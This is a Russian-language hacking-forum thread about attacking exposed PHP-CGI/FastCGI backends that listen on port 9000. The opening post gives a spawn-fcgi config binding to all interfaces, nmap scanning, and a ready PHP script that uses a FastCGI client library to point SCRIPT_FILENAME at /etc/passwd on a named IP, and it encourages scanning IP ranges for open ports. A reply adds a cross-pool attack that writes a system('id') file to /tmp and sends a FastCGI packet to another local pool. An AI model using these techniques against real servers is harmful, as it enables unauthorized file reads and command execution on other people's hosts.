Один на один с PHP-CGI

Discussion in 'Уязвимости' started by VY_CMa, 27 Sep 2013.

  1. VY_CMa

    VY_CMa Green member

    Joined:
    6 Jan 2012
    Messages:
    917
    Likes Received:
    492
    Reputations:
    724
    Введение

    Как правило, при увеличении масштаба проекта появляются дополнительные серверы и оборудование. Не всегда это базы данных и кэшеры. Иногда это и вычислительные мощности, на которых стоит PHP, а как известно PHP может работать в нескольких режимах. О всех я писать не буду, рассмотрим лишь режим CGI и что с него можно поиметь.

    Как вы могли заметить, на данный момент наиболее часто встречаемым веб-сервером является nginx. Для связи с PHP данный сервер использует конструкцию вроде:
    Code:
    location ~ \.php$ {
                root          /var/www/;
                fastcgi_pass   127.0.0.1:9000;
                fastcgi_index  index.php;
                fastcgi_param  SCRIPT_FILENAME  /var/www/$fastcgi_script_name;
                include        fastcgi_params;
    }
    
    Все запросы касаемые работу с PHP идут на 9000 порт хоста 127.0.0.1.
    В случае, если PHP находится на стороннем сервере, можно предположить, что 9000 порт на этом сервере открыт для внешних соединений, пусть и не всегда для наших ;)

    Что еще можно заметить из кода? А то, что для обращения используется протокол FastCGI. Становится понятно, что мы можем попробовать отправить на бэкэнд свой CGI-запрос, минуя веб-сервер.

    В качестве примера я поставил на тестовом сервере (на котором было 35 задание) Nginx, Spawn-FCGI и PHP5-CGI. Spawn-fcgi в данном случае нужен для связи веб-сервера с PHP.
    По умолчанию при запуске PHP-CGI используется локальный IP. В случае отдельного сервера возможна прослушка как внешнего ипа, так и всех интерфейсов. Выглядит это примерно так

    cat /etc/init.d/php-cgi
    Code:
    #!/bin/bash
    PHP_FCGI_CHILDREN=3
    PHP_FCGI_MAX_REQUESTS=1000
    PHP_SCRIPT="/usr/bin/spawn-fcgi -a [COLOR=Red]0.0.0.0[/COLOR] -p 9000 -u www-data -g www-data -f /u                                              sr/bin/php5-cgi"
    RETVAL=0
    case "$1" in
            start)
                    $PHP_SCRIPT
                    RETVAL=$?
                    ;;
            stop)
                    killall -9 php5-cgi
                    RETVAL=$?
                    ;;
            restart)
                    killall -9 php5-cgi
                    $PHP_SCRIPT
                    RETVAL=$?
                    ;;
            *)
                    echo "Usage: sudo $0 {start|stop|restart}"
                    exit 1
                    ;;
    esac
    exit $RETVAL
    
    Ок. PHP слушает 9000 порт, просканим хост с помощью nmap.

    [​IMG]

    Как видно "слушатель" помечен как "tcpwrapped".
    Как действуем?
    Логично предположить, что нам нужно как-то послать специальный запрос к php с помощью FCGI протокола. Изобретать ничего не нужно, уже есть готовые решения. Одним из таковых является PHP-FastCGI-Client.
    С помощью него, мы можем совершить покушение.
    Ссылка для клонирования: https://github.com/adoy/PHP-FastCGI-Client.

    Если посмотреть оригинальный запрос веб-сервера к php, подменим php "nc -lvp 9000" мы можем видеть следующее:
    [​IMG]

    Отсюда видно, что SCRIPT_FILENAME указывает нашему интерпретатору файл, из которого нужно брать код. Мы же можем изменить запрос для проведения RCE.

    В качестве жертвы я выбрал файл /etc/passwd.

    cat fcgiget.php
    PHP:
    <?php
    require('fastcgi.php');
    $client = new FCGIClient('54.214.3.90'9000);
    $params = array(       
            
    'GATEWAY_INTERFACE' => 'CGI/1.1',
            
    'REQUEST_METHOD'    => 'GET',
            
    'SCRIPT_FILENAME'   => '/etc/passwd',
            
    'SCRIPT_NAME'       => '',
            
    'QUERY_STRING'      => ''
            
    'REQUEST_URI'       => '',
            
    'DOCUMENT_URI'      => '',
            
    'SERVER_SOFTWARE'   => 'nginx/1.5.5',
            
    'REMOTE_ADDR'       => '127.0.0.1',
            
    'REMOTE_PORT'       => '9985',
            
    'SERVER_ADDR'       => '127.0.0.1',
            
    'SERVER_PORT'       => '80',
            
    'SERVER_NAME'       => '127.0.0.1',
            
    'SERVER_PROTOCOL'   => 'HTTP/1.1',
            
    'CONTENT_TYPE'      => '',
            
    'CONTENT_LENGTH'    => 0,
            
    'REDIRECT_STATUS'    => '200',
            
    'HTTP_USER_AGENT'    => 'Mozilla/5.0 (X11; Linux i686 on x86_64; rv:23.0)'
    );
    echo 
    $client->request($paramsfalse)."\n";
    Проверим так ли всё хорошо.
    [​IMG]
    Гуд ворк, файл проинклужен :p Дальше по накатанной.
    Видео с демонстрацией инклуда: http://www.youtube.com/watch?v=O98KsYKJqoo

    А теперь о проблемах
    В большинстве случаев, на реальных серверах в качестве FCGI выступает PHP-FPM, у которого есть свои политики безопасности. Проблема в том, что по умолчанию выполнять он может только файлы с расширением .php, что делает нас бессильными. Я проверил пару вариантов по поводу обхода ограничения на расширение, но пока безуспешно. Если у вас есть идеи по этому поводу, было бы здорово :)
    Вторая проблема - это то, что не всегда используется 9000 порт, но для этого нужно лишь время, чтобы собрать наиболее используемые.
    Третья проблема заключается в ошибке, которую я пока не распознал. Просканировав некоторый диапазон IP на открытость порта, и проверив вручную багу, получить ответ от сервера не удалось. С чем это связано пока не ясно. Возможно какие-то защиты, а возможно из клиента нужно отправлять еще какие-то параметры. Но это уже покажет время. Пробуйте ;)
     
    _________________________
    #1 VY_CMa, 27 Sep 2013
    Last edited: 29 Jan 2015
    5 people like this.
  2. Expl0ited

    Expl0ited Members of Antichat

    Joined:
    16 Jul 2010
    Messages:
    1,035
    Likes Received:
    534
    Reputations:
    935
    На смом деле в реале ни разу не встречал, что бы кто-то вешал php на отдельный порт, давая этому порту доступ из вне, чаще всего если и вешают то доступ непосредственно локалхосту, или же работает в сокете
     
    _________________________
  3. Егорыч+++

    Staff Member

    Joined:
    27 May 2002
    Messages:
    1,373
    Likes Received:
    895
    Reputations:
    20
    на VDS вешают на внешний
     
  4. daniel_1024

    daniel_1024 Elder - Старейшина

    Joined:
    15 Jul 2009
    Messages:
    260
    Likes Received:
    227
    Reputations:
    386
    При некоторой конфигурации FastCGI возможен взлом других сайтов на сервере. Пример php-fpm.conf когда есть несколько pool-ов:
    Ломаем site1, создаем файл /tmp/pwn.php
    PHP:
    <?php system('id'); ?>
    Шлем пакет на 127.0.0.1:9002 и запрашиваем /tmp/pwn.php
     
    3 people like this.
  5. VY_CMa

    VY_CMa Green member

    Joined:
    6 Jan 2012
    Messages:
    917
    Likes Received:
    492
    Reputations:
    724
    Спускаем (=
     
    _________________________